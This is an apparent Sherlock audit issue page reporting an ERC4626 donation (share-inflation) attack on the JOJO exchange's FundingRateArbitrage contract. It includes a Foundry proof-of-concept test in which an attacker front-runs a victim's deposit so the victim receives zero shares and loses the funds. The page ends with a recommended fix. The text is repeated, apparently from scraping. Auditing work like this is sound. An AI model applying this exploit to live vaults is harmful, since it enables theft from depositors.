Closed sherlock-admin2 closed 9 months ago
giraffe
high
Classic ERC4626 donation attack is possible in FundingRateArbitrage.sol.
When a deposit is made in FundingRateArbitrage.sol, earnUSDCAmount can round down to 0 if getIndex() is large enough.
earnUSDCAmount
getIndex()
uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
Next, getIndex() can become a very large amount if totalEarnUSDCBalance is small enough.
totalEarnUSDCBalance
function getIndex() public view returns (uint256) { if (totalEarnUSDCBalance == 0) { return 1e18; } else { return SignedDecimalMath.decimalDiv(getNetValue(), totalEarnUSDCBalance); } }
Consider this attack scenario:
earnUSDCBalance
POC attached, run in FundingRateArbitrageTest.t.sol
function test_attack() public { USDC.mint(alice, 1000e6); vm.startPrank(alice); USDC.approve(address(fundingRateArbitrage), type(uint256).max); // Alice the attacker makes deposit of 1 wei fundingRateArbitrage.deposit(1); // Observes Bob depositing, front runs and inflate index to v large amount USDC.transfer(address(fundingRateArbitrage),100e6); // console.log("Index:", fundingRateArbitrage.getIndex()); // Bob the user deposits 100 USDC USDC.mint(bob, 100e6); vm.startPrank(bob); USDC.approve(address(fundingRateArbitrage), 100e6); fundingRateArbitrage.deposit(100e6); assertEq(fundingRateArbitrage.earnUSDCBalance(bob), 0); // earnUSDCBalance rounds down to 0 // Alice withdraws everything vm.startPrank(alice); jusd.mint(alice, 1); jusd.approve(address(fundingRateArbitrage), type(uint256).max); uint256 index = fundingRateArbitrage.requestWithdraw(1); vm.startPrank(Owner); uint256[] memory indexs = new uint256[](1); indexs[0] = index; fundingRateArbitrage.permitWithdrawRequests(indexs); assertEq(USDC.balanceOf(alice), 1100e6); // 1000 initial + bob's 100 // Bob withdraws everything vm.startPrank(bob); jusd.mint(bob, 100e6); jusd.approve(address(fundingRateArbitrage), type(uint256).max); uint256 index2 = fundingRateArbitrage.requestWithdraw(100e6); vm.startPrank(Owner); uint256[] memory indexs2 = new uint256[](1); indexs2[0] = index2; fundingRateArbitrage.permitWithdrawRequests(indexs2); assertEq(USDC.balanceOf(bob), 0); }
At a cost of 1 wei, Alice is able to steal everything from the next user.
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L265 https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L98
Manual Review
Consider having the Owner do an initial deposit (even a 1 USDC will make the cost of attack much more expensive), or consider the extensively discussed solutions for ERC4626 see https://blog.openzeppelin.com/a-novel-defense-against-erc4626-inflation-attacks.
Duplicate of #54
1 comment(s) were left on this issue during the judging contest.
takarez commented:
valid because { This is also a valid findings and same as the inflation attack mentioned in issue 054}
giraffe
high
Donation attack can steal other user's funds in FundingRateArbitrage
Summary
Classic ERC4626 donation attack is possible in FundingRateArbitrage.sol.
Vulnerability Detail
When a deposit is made in FundingRateArbitrage.sol,
earnUSDCAmount
can round down to 0 ifgetIndex()
is large enough.Next,
getIndex()
can become a very large amount iftotalEarnUSDCBalance
is small enough.Consider this attack scenario:
earnUSDCBalance
is 0 due to rounding - he has no sharesPOC attached, run in FundingRateArbitrageTest.t.sol
Impact
At a cost of 1 wei, Alice is able to steal everything from the next user.
Code Snippet
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L265 https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L98
Tool used
Manual Review
Recommendation
Consider having the Owner do an initial deposit (even a 1 USDC will make the cost of attack much more expensive), or consider the extensively discussed solutions for ERC4626 see https://blog.openzeppelin.com/a-novel-defense-against-erc4626-inflation-attacks.
Duplicate of #54